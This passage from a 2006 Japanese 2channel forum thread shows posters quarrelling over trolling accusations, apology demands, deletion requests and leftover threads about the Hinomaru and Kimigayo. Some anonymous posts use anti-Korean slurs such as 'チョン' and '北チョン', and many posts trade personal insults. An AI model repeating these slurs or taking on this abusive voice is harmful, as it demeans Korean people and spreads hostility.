特にわしはずーっとくっつく確率高いよん。ウケケw

で、荒らしである根拠持って来いw

494 :日出づる処の名無し:2006/05/07(日) 15:47:50 ID:gfX74EbV
教員って・・・・・・

じゃあ日教組確定じゃん。

495 :日出づる処の名無し:2006/05/07(日) 15:50:46 ID:GkimXvgc
死民派誤権狂死というのがいたよね
さいたま支部所属だっけw

496 :日出づる処の名無し:2006/05/07(日) 15:52:20 ID:0kr8oHAf
>>465
北チョン丸出しのアフォだね
9条土産に里帰りしてるんじゃねーの

497 :1 ◆85KgNR48dA :2006/05/07(日) 16:00:34 ID:1z4+jDHh
>>493
> おまいさん教員だっけ?PTAだの生徒だのって言ってたよな。
> 先生ってそういう感じなんだー。ふーん。

誰が?
そんな発言はしていないが、お前のバカさ加減を示すためにも、
ぜひレス番号の提示、よろしく。

498 :日出づる処の名無し:2006/05/07(日) 16:01:14 ID:HnXWy3aw
謝罪謝罪五月蝿い。大体自分が100%正しいみたいな態度が鼻に付きすぎ。
いい加減に自分の非を認めろ。えらそうな長文書いてればえらく見られると思ってるのか?
チョンの腐れ儒家のような奴だな。

499 :1 ◆85KgNR48dA :2006/05/07(日) 16:02:21 ID:1z4+jDHh
>>493
> で、荒らしである根拠持って来いw

当該スレでお前が謝罪すれば、お前の言い分も聞いてあげよう。

どうでもいいから、【場違いな書き込みをひとつした】と、おまえ自身が
認めている以上、謝罪が当然だろう。
逃げるなよ。お前のした行動だ。

【場違いな書き込みをした】ことで、多くの掲示板閲覧者が迷惑を
している。

【場違いな書き込みをした】お前が俺様に、偉そうな口を聞く資格はない。
この問題が解決した後には、俺には関わるな、レスするな。

500 :日出づる処の名無し:2006/05/07(日) 16:05:31 ID:4fyDngpF
>おまいさん教員だっけ?
教員というのは1 ◆85KgNR48dAが攻撃目標にしている外部サイト関係者じゃまいか?
どっちにしてもあのサイト運営者もいい迷惑だよな


501 :1 ◆85KgNR48dA :2006/05/07(日) 16:10:09 ID:1z4+jDHh
>>500
> 教員というのは1 ◆85KgNR48dAが攻撃目標にしている外部サイト関係者じゃまいか?

そんな即レスで、答えを書くなよ。
同期の桜@極東の読解力の無さを見たかったのに残念だ。

まあ、この件でも、同期の桜@極東のバカさ加減がよくわかる。

502 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 16:14:42 ID:U+hDIbDw
>>497
教員であってもなくてもまぁどっちでもいいけども。

根拠にしたのはここな↓
http://tmp6.2ch.net/test/read.cgi/asia/1146681429/959

>保護者関係、子供たち、
一般的な人間は保護者関係、子供たちにメールを送るなんてのは不可能だよな。
だからそう思っただけー。別におまいの素性なんかに興味はない。

>>499
あ、コピペしかできなくなった?w
ほれ。荒らしの根拠もってこいよ。

これからも関わってやるから
安心しとけw

503 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 16:16:47 ID:U+hDIbDw
>>500
それはそれで別の人なのはよくわかってるんだがw

>>501
残念。わしが注目したのはそこじゃないんだなーw

504 :日出づる処の名無し:2006/05/07(日) 16:22:39 ID:HnXWy3aw
実の無い議論ばっかりして朝鮮の李王朝の両班みたいだな。
権力闘争に夢中になって国政を蔑ろにしてたと言うが
現代で実物が拝めるとはw

505 :日出づる処の名無し:2006/05/07(日) 16:29:37 ID:4fyDngpF
>>502
>>503
>文部科学省をはじめ、 ←←←←←※
>各教育機関、←←←←←←←←← ※
>保護者関係、←←←←←←←←← ※
>子供たち、←←←←←←←←←← ※
>国内外のマスメディア、政府関係者に送信し、 ご報告を行いますので

ああ こういうことね!
だけど いろんな人に迷惑かけるつもりだな


506 :1 ◆85KgNR48dA :2006/05/07(日) 17:43:18 ID:1z4+jDHh
>>502
> 教員であってもなくてもまぁどっちでもいいけども。

どっちでもいいわけないだろ。逃げるなよ。
お前は、>>493で、

> おまいさん教員だっけ?PTAだの生徒だのって言ってたよな。
> 先生ってそういう感じなんだー。ふーん。

と、決め付けて発言しているだろ?
逃げるなよ。きっちりと謝罪しろ!バカ垂れが。

> 根拠にしたのはここな↓
> http://tmp6.2ch.net/test/read.cgi/asia/1146681429/959
> >保護者関係、子供たち、
> 一般的な人間は保護者関係、子供たちにメールを送るなんてのは不可能だよな。
> だからそう思っただけー。

は?
やっぱり、読解力が無かったのか。
俺様が教師ではないことを示すレスがある。
お前は即レスする暇があるようだから、
もう一回帰って、全レスを確認してみろ。
それまでは、俺様にレスはするな。命令だ。
お前が言い出したんだからな。わかってるな。

507 :1 ◆85KgNR48dA :2006/05/07(日) 17:44:59 ID:1z4+jDHh
>>502
> 別におまいの素性なんかに興味はない。

は?
ケンカ吹っかけてきてるのは、貴様だぞ?
お前が俺様にクソスレつけてくるまで、お前の存在など知らなかった。

> >>499
> あ、コピペしかできなくなった?w

お前にはコピペで十分。

> これからも関わってやるから安心しとけw

おう、いい度胸だ。今度はストーカー宣言か。
お前が、この板でそのハンドルを名乗れなくなるまで追い込んでやる。
お前がこの板から出て行くまで、俺様が暫定自治をやってやる。


508 :1 ◆85KgNR48dA :2006/05/07(日) 17:46:33 ID:1z4+jDHh
>>507訂正

お前が俺様にクソレスつけてくるまで、お前の存在など知らなかった。

509 :1 ◆85KgNR48dA :2006/05/07(日) 17:48:32 ID:1z4+jDHh
同期の桜@極東 ◆DoukiJieKQへ

【場違いな書き込みをひとつした】と、おまえ自身が認めている以上、
謝罪が当然だろう。逃げるなよ。お前のした行動だ。

【場違いな書き込みをした】ことで、多くの掲示板閲覧者が迷惑を
している。

【場違いな書き込みをした】お前が俺様に、偉そうな口を聞く資格はない。
この問題が解決した後には、俺には関わるな、レスするな。

この板から出て行くまでは、お前のハンドルから、極東 という文字をはずせ。

510 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 17:55:10 ID:x7sl/H72
>>507
どう追い込むのかね?w
おまいに自治できるのか?

>>509
だからいくらでもレスしてやるよw
で?荒らしである根拠は出たのか?

511 :1 ◆85KgNR48dA :2006/05/07(日) 17:58:42 ID:1z4+jDHh
>>510
俺様が教師ではないことを示すレスがある。
お前は即レスする暇があるようだから、
もう一回帰って、全レスを確認してみろ。
それまでは、俺様にレスはするな。命令だ。
お前が言い出したんだからな。わかってるな。

512 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 18:00:16 ID:x7sl/H72
>>511
そうやってコピペすることで追い込むの?w
うわーおいこまれたー(棒

513 :1 ◆85KgNR48dA :2006/05/07(日) 18:01:41 ID:1z4+jDHh
>>510
当該スレでお前が謝罪すれば、お前の言い分も聞いてあげよう。
【再度】
初心者の質問板に行って、速やかに謝罪文を書いてこい!
荒らし野郎。

514 :               :2006/05/07(日) 18:02:58 ID:gfX74EbV
と、荒らしが申しております

515 :1 ◆85KgNR48dA :2006/05/07(日) 18:03:14 ID:1z4+jDHh
>>512
で、調べてきたか?
謝罪してきたのか?
はやく報告しろ。

516 :日出づる処の名無し:2006/05/07(日) 18:04:32 ID:gfX74EbV
何の権限もなく命令をする人がいますね



最初に自分が荒らした癖に

517 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 18:04:47 ID:x7sl/H72
>>515
で、いつになったら追い込まれるんだ?
荒らしの根拠マダー?

518 :1 ◆85KgNR48dA :2006/05/07(日) 18:05:59 ID:1z4+jDHh
>>517
はやく報告しろ。

519 :1 ◆85KgNR48dA :2006/05/07(日) 18:07:01 ID:1z4+jDHh
>>517
ガイドラインを無視したお前のスレ違い発言
http://etc3.2ch.net/test/read.cgi/qa/1145264116/752
http://etc3.2ch.net/test/read.cgi/qa/1145264116/759
http://etc3.2ch.net/test/read.cgi/qa/1145264116/762

お前に対する苦情
http://etc3.2ch.net/test/read.cgi/qa/1145264116/754
http://etc3.2ch.net/test/read.cgi/qa/1145264116/756
http://etc3.2ch.net/test/read.cgi/qa/1145264116/758
http://etc3.2ch.net/test/read.cgi/qa/1145264116/760
http://etc3.2ch.net/test/read.cgi/qa/1145264116/761

520 :日出づる処の名無し:2006/05/07(日) 18:09:06 ID:gfX74EbV
3つだろ?

はやく削除依頼だせばあ?お前が

521 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 18:15:56 ID:x7sl/H72
>>519
これで追い込んでるの?w

522 :1 ◆85KgNR48dA :2006/05/07(日) 18:24:12 ID:1z4+jDHh
>>521
はやく削除依頼だせ

523 :日出づる処の名無し:2006/05/07(日) 18:28:04 ID:gfX74EbV
>>522
お前が出せ

削除依頼出せといってるの、お前だけだろ?
お前が出せ

524 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 18:31:26 ID:x7sl/H72
>>522
は?何の削除依頼で?

525 :1 ◆85KgNR48dA :2006/05/07(日) 19:22:04 ID:1z4+jDHh
>>524
ガイドラインを無視したお前のスレ違い発言
http://etc3.2ch.net/test/read.cgi/qa/1145264116/752
http://etc3.2ch.net/test/read.cgi/qa/1145264116/759
http://etc3.2ch.net/test/read.cgi/qa/1145264116/762

526 :日出づる処の名無し:2006/05/07(日) 19:26:27 ID:gfX74EbV
3レス程度の誤認で間違いと主張し続けるのなら
これも荒らしとみなさなければなりますまい

527 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 19:28:13 ID:h9pqXYfe
>>525
何でそれを削除依頼せにゃならんのだ?

528 :日出づる処の名無し:2006/05/07(日) 19:29:25 ID:gfX74EbV
んじゃ>>525とかのヘンな発言を削除依頼してくれ。

529 :1 ◆85KgNR48dA :2006/05/07(日) 19:31:49 ID:1z4+jDHh
>>526
> 3レス程度の誤認で間違いと

御認か悪意がったか、どちらか知らないが、
御認なら当然、人間として謝罪するべきだろう。
私を挑発するのは、それからにしてくれ、ということ。

> 主張し続けるのなら
> これも荒らしとみなさなければなりますまい

は?
ここは自治スレだろ?
当然、再発防止や、同期の桜の余罪も追及しなければ、
何のための自治だ?
そんなことも許されないのなら、この自治スレも削除依頼出せ。

530 :1 ◆85KgNR48dA :2006/05/07(日) 19:34:02 ID:1z4+jDHh
>>527
> 何でそれを削除依頼せにゃならんのだ?

【場違いな書き込みをひとつした】と、おまえ自身が認めている以上、
謝罪と削除依頼が当然だろう。逃げるなよ。お前のした行動だ。

【場違いな書き込みをした】ことで、多くの掲示板閲覧者が迷惑をしている。
残存している限り、現在もそう。

【場違いな書き込みをした】お前が俺様に、偉そうな口を聞く資格はない。
この問題が解決した後には、俺には関わるな、レスするな。

この板から出て行くまでは、お前のハンドルから、極東 という文字をはずせ。

531 :日出づる処の名無し:2006/05/07(日) 19:34:57 ID:Tc4Kfwla
エーと、私としては案内カテゴリのスレ立て代行に来ないでください。すべて
前スレ消化しないで依頼されるマナーの悪い方は特に来ないでください。

532 :日出づる処の名無し:2006/05/07(日) 19:35:35 ID:0SGnLRE6
GWぶりです。
なんか、こちらにも1がわいてるんですね。

533 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 19:37:45 ID:h9pqXYfe
>>530
いくらでもレスしてやろうw
ついでに答えになってないぞ。

ちなみに削除依頼したところで削除されないけどなー
このスレも前に削除依頼されて削除されてないから安心しとけw

534 :1 ◆85KgNR48dA :2006/05/07(日) 19:40:58 ID:1z4+jDHh
>>533
> いくらでもレスしてやろうw

ストーカー宣言か。
返事しろ。

> ついでに答えになってないぞ。
> ちなみに削除依頼したところで削除されないけどなー


出すだけ出せ。

> このスレも前に削除依頼されて削除されてないから安心しとけw

お前に聞いていない。


535 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 19:41:56 ID:h9pqXYfe
>>534
出したければおまいさんが出せば?

536 :1 ◆85KgNR48dA :2006/05/07(日) 19:43:45 ID:1z4+jDHh
>>535
【場違いな書き込みをひとつした】と、おまえ自身が認めている以上、
謝罪と削除依頼が当然だろう。逃げるなよ。お前のした行動だ。

537 :1 ◆85KgNR48dA :2006/05/07(日) 19:44:47 ID:1z4+jDHh
>>535
【場違いな書き込みをした】ことで、多くの掲示板閲覧者が迷惑をしている。
残存している限り、現在もそう。

538 :日出づる処の名無し:2006/05/07(日) 19:44:47 ID:0SGnLRE6
>>534

1 ◆85KgNR48dA 主張の要約をお願いします。

539 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 19:45:20 ID:h9pqXYfe
>>536
そう思ってるのはおまいだろ。
そう思ってるやつが削除依頼するのが当然だが?

540 :1 ◆85KgNR48dA :2006/05/07(日) 19:46:10 ID:1z4+jDHh
>>539
お前に対する苦情
http://etc3.2ch.net/test/read.cgi/qa/1145264116/754
http://etc3.2ch.net/test/read.cgi/qa/1145264116/756
http://etc3.2ch.net/test/read.cgi/qa/1145264116/758
http://etc3.2ch.net/test/read.cgi/qa/1145264116/760
http://etc3.2ch.net/test/read.cgi/qa/1145264116/761

541 :日出づる処の名無し:2006/05/07(日) 19:46:33 ID:0SGnLRE6
>>536

日の丸、君が代、愛国心=敵国心→戦争6
http://tmp6.2ch.net/test/read.cgi/asia/1146764586/

こちらも、場違いな書き込み多いから、
スレごと削除してはいかがですか?

542 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 19:50:35 ID:h9pqXYfe
そのスレのおまいが言う苦情(苦情でもなんでもないけどな)を
言ってる人に削除依頼してきてくださいってお願いにいってきたら?
それがまたおまいの言うガイドライン無視の行動になるけどな。

543 :1 ◆85KgNR48dA :2006/05/07(日) 19:58:24 ID:1z4+jDHh
>>542

■ [初心者の質問] “スレッドを立てられない奴はここへ書け!271”
での、お前、同期の桜に対する苦情

754 名前:ひよこ名無しさん[] 投稿日:2006/05/07(日) 12:24:32 0
>>752
馬鹿?>同期の桜
http://etc3.2ch.net/test/read.cgi/qa/1145264116/754

756 名前:ひよこ名無しさん[sage] 投稿日:2006/05/07(日) 12:26:12 0
>>754
極東板の荒らしです。>同期の桜
http://etc3.2ch.net/test/read.cgi/qa/1145264116/756

758 名前:749[age] 投稿日:2006/05/07(日) 12:29:38 0
>>752は、極東板のスレ荒らしですので無視してください。>同期の桜
前スレも前々スレも、こいつにスレを潰されました。>同期の桜
http://etc3.2ch.net/test/read.cgi/qa/1145264116/758

760 名前:ひよこ名無しさん[] 投稿日:2006/05/07(日) 12:35:02 0
>>759
半年ロムってろ>同期の桜
http://etc3.2ch.net/test/read.cgi/qa/1145264116/760

761 名前:ひよこ名無しさん[sage] 投稿日:2006/05/07(日) 12:35:50 0
ここで議論するな。>同期の桜
極東の自治スレでヤレ。>同期の桜
http://etc3.2ch.net/test/read.cgi/qa/1145264116/761



544 :日出づる処の名無し:2006/05/07(日) 19:59:55 ID:gfX74EbV
IDがねーからなあ・・・つーか
それがお前がやった可能性も高いわな


なぜか知らないけどここの人極東の事情に詳しすぎるからな

545 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 20:01:41 ID:h9pqXYfe
>>543
だからー
そう思うんだったらおまいが代表して
削除依頼してこいよw民意の代表になれるぞ?
そのスレの758はおまいの発言なんだから。

546 :1 ◆85KgNR48dA :2006/05/07(日) 20:01:58 ID:1z4+jDHh
>>544
> なぜか知らないけどここの人極東の事情に詳しすぎるからな

極東板住人に限らず、代行スレで異議申し立てという場違いの書き込み
ぐらいはわかるだろう。
極東板住人らしき書き込みは、確かに2つあるが、そのうちひとつだけが俺様。


547 :日出づる処の名無し:2006/05/07(日) 20:03:38 ID:McDUgKCI
>>546
韓国人?

548 :日出づる処の名無し:2006/05/07(日) 20:08:46 ID:McDUgKCI
スレッドを立てられない奴はここへ書け!271
http://etc3.2ch.net/test/read.cgi/qa/1145264116/

【依頼者さんへ】
・必ず立つ保障はないし義務も無い。しかし、立たない事には大抵理由があります。
・シリーズで続いてるスレは、可能な限り(950-980くらいまで)スレ住人で立てる努力をして欲しい。
・他スレにも依頼する「マルチ依頼」は、重複のもとになるし印象も悪いのでやめましょう。
・依頼から一日経過したものはリストから自動的に消えます。
★依頼者自身も、他の依頼を立ててみよう!ギブアンドテイクで(・∀・)!★

549 :日出づる処の名無し:2006/05/07(日) 20:10:11 ID:McDUgKCI
同期の桜さん

極東板でスレを立てられないというのは、どういうときに発生するんですか?

550 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 20:16:04 ID:h9pqXYfe
>>549
板ごとにスレ立て規制値が決まってまして
プロバイダごとにまた変わります。

同じプロバイダの誰かがスレを立てると
次に立てられるまで時間がかかります。

だから、プロバイダが大手だとスレ立ての間の時間が
結構かかるみたいですね。

551 :日出づる処の名無し:2006/05/07(日) 20:20:43 ID:McDUgKCI
>>550
なるほど。おれ、IIJ4Uだけど立てるの失敗したことないぞ。

それに、極東板ってそんなに規制厳しいのかな?
1日に立つスレなんてせいぜい15個ぐらいでしょ?

552 :日出づる処の名無し:2006/05/07(日) 20:23:39 ID:1fJKDZyz
 俺は船虫が自分の非を認めないって事さえやめれば、
船虫ってこの掲示板の人気者になるんじゃないかと思う。
非常に頭良さそうだし、知識もあるし・・・
自分の非をなんとかごまかすって卑屈ですよ。

553 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 20:27:23 ID:0QXKIK36
>>551
うちのスレ立て規制値は128なので割りと緩いです。

554 :日出づる処の名無し:2006/05/07(日) 20:28:34 ID:McDUgKCI
>>552
彼の場合、非を認めないという認識は違うと思うよ。
非常にプライドの高い人に見受けられるが、
非を認めるとストレスになるから言い訳(本人は言い訳と認識しない)をして
正当化をはかってしまうんだと思う。

無視してあげるのが一番いいんだよ。

555 :日出づる処の名無し:2006/05/07(日) 20:31:13 ID:McDUgKCI
>>553
緩いな・・・。なんで自分で立てないんだ?

IPでも抜かれるのか?
というか、抜かれてもなにか困るのか?
固定IPのプロバイダーなんてそんなにないよね・・・?


556 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 20:37:08 ID:0QXKIK36
>>555
問題なのは前々スレがまだ現存してるってことです。
あと20レスちょっとなんだから消費すりゃーいいのに。

前スレは毛沢東のAAコピペツールにより
容量オーバーで落ちましたが。

557 :1 ◆85KgNR48dA :2006/05/07(日) 20:40:52 ID:1z4+jDHh
>>556
>55 名前:■■■  誘導  ■■■[sage] 投稿日:2006/05/07(日) 20:35:59 ID:McDUgKCI
>日の丸、君が代、愛国心=敵国心→戦争5
>http://tmp6.2ch.net/test/read.cgi/asia/1146681429/
>
>日の丸、君が代、愛国心=敵国心→戦争6
>http://tmp6.2ch.net/test/read.cgi/asia/1146764586/
>
>
>前スレ、前々スレが未消化ですので移動のほどよろしくお願いいたします。
>

以下ののメッセージが出て、前スレ、前々スレが荒らし行為により、
書き込み不可能になっています。

ERROR!
ERROR:このスレッドは512kを超えているので書けません!

調べもせず、いいかげんな誘導をしないでください。


558 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 20:45:38 ID:0QXKIK36
>>557
こっち↓は書けるだろうが。ちゃんと消化しろや。

日の丸、君が代、愛国心=敵国心→戦争5
http://tmp6.2ch.net/test/read.cgi/asia/1146681429/

559 :1 ◆85KgNR48dA :2006/05/07(日) 20:48:45 ID:1z4+jDHh
>>558
> こっち↓は書けるだろうが。ちゃんと消化しろや。

何度も言わせるな。
【再度】
通常、950超えると、次スレ立ては問題ありません。
終了してからは、次スレのアナウンスが出来ないからです。
無理にスレ埋め立ても必要ありません。
レスが無ければ、自然と落ちるみたいです。

560 :1 ◆85KgNR48dA :2006/05/07(日) 20:50:25 ID:1z4+jDHh
>>558
> こっち↓は書けるだろうが。ちゃんと消化しろや。

お前が荒らして落とせばいい。
荒らすのはお前、得意だろ。

561 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 20:52:02 ID:0QXKIK36
>>559
ちゃんと理解もしてないでスレッド立ててもらうなよ。
1000いけば24時間以内で落ちるが、950超えただけだと毎日誰かがレスすれば
レスしてる間は落ちねーの。スレの圧縮に関係あるんだからきっちり埋めろや。

だから使えって言ってんだろうがボケ。

562 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 20:52:38 ID:0QXKIK36
>>560
お前がスレ主だろうが。
責任もって埋めろ。

563 :1 ◆85KgNR48dA :2006/05/07(日) 20:55:20 ID:1z4+jDHh
>>562
無理にスレ埋め立ても必要ありません。

気になるのが、バカであり、
気になるお前が行動を起こせ。

564 :1 ◆85KgNR48dA :2006/05/07(日) 20:56:44 ID:1z4+jDHh
>>562
> お前がスレ主だろうが。
> 責任もって埋めろ。

スレ主だからといって、スレ埋め立ての義務はあるのか?
根拠を示せ。


565 :日出づる処の名無し:2006/05/07(日) 20:56:55 ID:gfX74EbV
>>563
お前が荒らさなければ何の問題も無いんじゃボケ
なんなら自衛隊板の自治も呼ぶか?あ゛ぁ??

566 :日出づる処の名無し:2006/05/07(日) 20:57:51 ID:gfX74EbV
>>564

お前しか使ってねーだろおい

567 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 21:00:00 ID:0QXKIK36
>>564
お前のマナーが試されるがいいのか?w
2ch使う上のマナーがなってないやつだと
認定されても構わないなら埋めてやるよ。

568 :1 ◆85KgNR48dA :2006/05/07(日) 21:06:33 ID:1z4+jDHh
>>567
> >>564
> お前のマナーが試されるがいいのか?w
> 2ch使う上のマナーがなってないやつだと
> 認定されても構わないなら埋めてやるよ。

【埋めてやるよ】って、お前が埋めたいんだろ?
気になって気になって仕方ないんだろ?
勝手にやれよ、責任持って。スレ主として許可する。

569 :1 ◆85KgNR48dA :2006/05/07(日) 21:08:18 ID:1z4+jDHh
>>567
で、スレ主だからといって、スレ埋め立ての義務はあるのか?
根拠を示せ。

根拠、ないのか?

570 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 21:09:15 ID:0QXKIK36
>>568
おまいに許可される覚えはないねw
とりあえず埋めてやるが、
2ch使用上のマナーの悪いやつって認定な。

全責任はおまいが持て。スレ主だろw

571 :1 ◆85KgNR48dA :2006/05/07(日) 21:12:18 ID:1z4+jDHh
>>570
> おまいに許可される覚えはないねw

これ、お前の発言。俺に尋ねているので返答した。
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
>お前のマナーが試されるがいいのか?w

勝手にやれよ。

1000ゲットとか言って、喜べよ。あははははは

572 :          :2006/05/07(日) 21:14:17 ID:gfX74EbV
まさにあらしの言動

573 :日出づる処の名無し:2006/05/07(日) 21:14:47 ID:McDUgKCI
>>568
たしかに、6は書けなかったな。すまん。

そんでもって、
せめて、次スレのアドレスぐらいは書いておいてくれ。
根拠は、人間性

でも、いいや最近はスルーの方向に行ってるみたいだから。

574 :日出づる処の名無し:2006/05/07(日) 21:15:14 ID:gfX74EbV
ちなみに。

サヨクで正式に荒らしになったのはお前が初めてになる。
どんなに悪質な荒らしでもここまで暴れた例は無いからな



575 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 21:15:34 ID:0QXKIK36
>>571
愛国心がどーのこーの言ってる割に
マナーすら守れねーお子ちゃまだってことよw

船虫Jrですらそんなお子ちゃまじゃなかったのにねー。

576 :1 ◆85KgNR48dA :2006/05/07(日) 21:18:25 ID:1z4+jDHh
>>573
> せめて、次スレのアドレスぐらいは書いておいてくれ。

それは無理。
スレストした後に、次スレ立ててもらったから。

> 根拠は、人間性

お前の過去ログを読むと、勝手に判断しすぎ。
また謝罪しないといけなくなるぞ。

それと、お前、2ちゃんのこと、知らな過ぎなのに、
自治に顔を突っ込みすぎ。
自治から離れろ。




577 :日出づる処の名無し:2006/05/07(日) 21:18:31 ID:McDUgKCI
ちょっとまて、・・・

スレ主が、荒らせというてる・・・

荒らしに行っていいのか?

578 :日出づる処の名無し:2006/05/07(日) 21:19:06 ID:3+Im4Qj0
?w ←これって、どこかでよく見かけたのだがw

579 :日出づる処の名無し:2006/05/07(日) 21:19:26 ID:gfX74EbV
>>577
じゃねーの?

580 :1 ◆85KgNR48dA :2006/05/07(日) 21:21:06 ID:1z4+jDHh
>>577
> ちょっとまて、・・・
> スレ主が、荒らせというてる・・・

は?
荒らせと指示した覚えはない。

> 荒らしに行っていいのか?

てきとーに会話して埋めろ。

581 :1 ◆85KgNR48dA :2006/05/07(日) 21:22:06 ID:1z4+jDHh
1000ゲットとか言って、喜べよ。あははははは

582 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 21:22:39 ID:0QXKIK36
>>580
>は?
>荒らせと指示した覚えはない。

560 名前:1 ◆85KgNR48dA [age] 投稿日:2006/05/07(日) 20:50:25 ID:1z4+jDHh
>>558
> こっち↓は書けるだろうが。ちゃんと消化しろや。

お前が荒らして落とせばいい。
荒らすのはお前、得意だろ。


583 :日出づる処の名無し:2006/05/07(日) 21:23:24 ID:McDUgKCI
>>576
やだ。

それに、きみが「勝手な判断」でスレ立て以来したんじゃないの?
立てる努力したの?


584 :日出づる処の名無し:2006/05/07(日) 21:23:54 ID:gfX74EbV
今度からお前がスレ立てたらVIP直行でいいね。

1000ゲットって喜べって言ったから
今度のスレから>>581 の立てたスレは1〜1000まで全部「1000ゲット」でおk

585 :1 ◆85KgNR48dA :2006/05/07(日) 21:27:04 ID:1z4+jDHh
>>582
それは、指示ではないだろ。
あくまでも、お前の自己判断。

荒らしたくもないのに、荒らせといえば指示。
お前が荒らしたいのなら、勝手にやれということ。

【再度】
【もし、どうしても荒らしたいのなら】お前が荒らして落とせばいい。【勝手にやれ】
荒らすのはお前、得意だろ。

586 :1 ◆85KgNR48dA :2006/05/07(日) 21:27:42 ID:1z4+jDHh
>>583
【再度】
お前、2ちゃんのこと、知らな過ぎなのに、
自治に顔を突っ込みすぎ。
自治から離れろ。

587 :                  :2006/05/07(日) 21:28:29 ID:gfX74EbV
>586になんか自治経験がおありですかねえwwwwwwwwwwwwwwww

どこの自治やってたんだ?言ってミロや

588 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 21:28:49 ID:0QXKIK36
>>585
埋めて落とせばいいならまだしも
荒らして落とせばいいだからな。

荒らし依頼だろw

589 :1 ◆85KgNR48dA :2006/05/07(日) 21:29:13 ID:1z4+jDHh
>>584
> 1〜1000まで全部「1000ゲット」でおk

何で?
お前の日本語が分からない。


590 :日出づる処の名無し:2006/05/07(日) 21:30:43 ID:gfX74EbV
>>589
お前日本語あまり使えてないもんな。
仕方ないよ。バカなんだから

591 :1 ◆85KgNR48dA :2006/05/07(日) 21:30:45 ID:1z4+jDHh
>>588
【再度】
【もし、どうしても荒らしたいのなら】お前が荒らして落とせばいい。【勝手にやれ】
荒らすのはお前、得意だろ。

592 :日出づる処の名無し:2006/05/07(日) 21:31:20 ID:gfX74EbV
はいはい全部荒らせだってよ

こいつのスレ全部荒らせばいいのね

593 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 21:33:18 ID:0QXKIK36
>>591
それで前スレ毛沢東に落とされてんのになw

594 :日出づる処の名無し:2006/05/07(日) 21:36:16 ID:gfX74EbV
サヨクに埋められるとはな。
しかも相手は東大だから、学歴コンプレックスのバカサヨには相当効くわ。

結局は、よほど人望が無いんだろ

595 :日出づる処の名無し:2006/05/07(日) 21:39:09 ID:McDUgKCI
ちなみに、時系列で。まとめてみた。

日の丸、君が代、愛国心=敵国心→戦争5
http://tmp6.2ch.net/test/read.cgi/asia/1146681429/

946 名前:日出づる処の名無し[sage] 投稿日:2006/05/05(金) 01:55:12 ID:JFNXqNCk
■■■【省略】■■■
947 名前:キチガイが又スレを立てた[sage] 投稿日:2006/05/05(金) 03:07:33 ID:Zu4cchx9
■■■【省略】■■■

スレッドを立てられない奴はここへ書け!271
http://etc3.2ch.net/test/read.cgi/qa/1145264116/

513 名前:1 ◆85KgNR48dA [age] 投稿日:2006/05/05(金) 02:36:24 0
もうすぐ前スレ1000終了です。よろしくです。

【板名】ニュース極東
【板のURL】http://tmp6.2ch.net/asia/
【タイトル】
日の丸、君が代、愛国心=敵国心→戦争6
【名前】1 ◆85KgNR48dA
【本文】
前スレ
■■■【以下略】■■■

ちなみにこのスレの2には、
・シリーズで続いてるスレは、可能な限り(950-980くらいまで)スレ住人で立てる努力をして欲しい。

と、ありますので。


596 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 21:42:13 ID:0QXKIK36
そー言えば荒らしの根拠はマダか?

597 :日出づる処の名無し:2006/05/07(日) 21:45:41 ID:McDUgKCI
>>596
そういえば・・・なんで君も荒らし認定されてるの?

598 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 21:47:30 ID:0QXKIK36
>>597
なんかこの辺
http://etc3.2ch.net/test/read.cgi/qa/1145264116/750-761

599 :日出づる処の名無し:2006/05/07(日) 21:49:05 ID:McDUgKCI
ここに
423 名前:1 ◆85KgNR48dA [age] 投稿日:2006/05/07(日) 13:34:50 ID:1z4+jDHh
>>417
> 誰がおまいごとき待ってるかいw
> たまたま見た時間が合っただけだ。

ほおー、相変わらず、負けず嫌いだな。
俺様を待っていたのは明らか。
で、俺様に議論で勝てるとでも思っている気か?

って、聞いているんだ。どんなんだ?
遣り合うのか?

とあったんだが・・・
どっかで、やり合ったの?

600 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 21:50:44 ID:0QXKIK36
>>599
749=1 ◆85KgNR48dAだからー

601 :1 ◆85KgNR48dA :2006/05/07(日) 21:51:20 ID:1z4+jDHh
>>596
当該板でお前が謝罪すれば、お前の言い分も聞いてあげよう。
【場違いな書き込みをひとつした】と、おまえ自身が認めている以上、
謝罪と削除依頼が当然だろう。逃げるなよ。お前のした行動だ。
【場違いな書き込みをした】ことで、多くの掲示板閲覧者が迷惑をしている。
残存している限り、現在もそう。

(1)初心者の質問板に行って、速やかに謝罪文を書いてこい!
(2)そして、削除依頼板で、削除依頼を書いてこい!荒らし野郎。
(3)俺様が教師ではないことを示すレスがある。
お前は即レスする暇があるようだから、
もう一回帰って、全レスを確認してみろ。

それまでは、俺様にレスはするな。命令だ。
お前が言い出したんだからな。わかってるな。

【場違いな書き込みをした】お前が俺様に、偉そうな口を聞く資格はない。
この問題が解決した後には、俺には関わるな、レスするな。

